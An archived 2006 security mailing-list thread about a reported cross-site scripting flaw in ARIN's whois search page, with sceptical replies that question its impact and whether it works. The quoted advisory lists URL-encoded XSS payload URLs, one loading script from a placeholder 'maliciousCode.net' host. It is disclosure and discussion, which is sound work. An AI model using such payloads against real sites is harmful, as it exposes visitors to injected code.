bugtraq - Re: Arin.net XSS

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Date: Fri, 03 Mar 2006 16:09:05 -0500
From: Simon Smith <simon@...soft.com>
To: Steven <steven@...ebug.org>
Cc: Terminal Entry <Security@...dro.net>,
	Full Disclosure <full-disclosure@...ts.grok.org.uk>,
	Bug Traq <bugtraq@...urityfocus.com>
Subject: Re: Arin.net XSS


Right,
    Did this ever work? This fails for me man. How did you verify it?

Steven wrote:
> ok?
>
> So what exactly are you going to exploit here?  This site doesn't have any logins or even use cookies.  Are you going to trick a user into entering in a credit card number before they can search the whois database?
>
> I think that XSS in many instances is a serious issues.  Many of the XSS issues reported on FD are rarely of much consequence but could theoretically lead to a sessions hijack or tricking the user into a fake login screen.  However, in this instance I fail to see what the point could possible be?  If it is that you can simply run javascript then so what?  Close to 100% of any webhosting provider on the internet will let you upload your own javascript.  Might as well report that geocities.com is vulnerable to XSS because you could upload an html file with javascript on it.
>
> Anyway.. that's my take on this.  Feel free to correct me.. I don't mind.
>
> Steven
>
> ----- Original Message ----- 
>   From: Terminal Entry 
>   To: Full Disclosure ; Bug Traq 
>   Sent: Thursday, March 02, 2006 11:17 PM
>   Subject: [Full-disclosure] Arin.net XSS 
>
>
>   Title
>   ARIN.NET input validation holes in "?queryinput=" allows remote users conduct cross-site scripting attacks
>
>   Notification
>   Multiple attempts to contact Arin site administrators went unanswered
>
>   Exploit Included:  Yes
>
>   Description
>   The "?queryinput=" script does not properly validate user-supplied input in several parameters to filter HTML code. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. 
>
>   Some demonstration exploit URLs are provided:
>   http://ws.arin.net/whois/?queryinput=%3CIMG+SRC%3D%22javascript%3Aalert%28%27XSS%27%29%3B%22%3E
>   http://ws.arin.net/whois/?queryinput=%3CSCRIPT+SRC%3Dhttp%3A%2F%2FmaliciousCode.net%2Fexploit.js%3E%3C%2FSCRIPT%3E
>   http://ws.arin.net/whois/?queryinput=%3CIMG+SRC%3D%22javascript%3Aalert%28%27XSS%27%29%3B%22%3E
>
>   Discovered by Terminal Entry security [.at.] peadro (.)net
>
>
>
>
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-- 


Regards, 
	Adriel T. Desautels
	Harvard Security Group
	http://www.harvardsecuritygroup.com


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Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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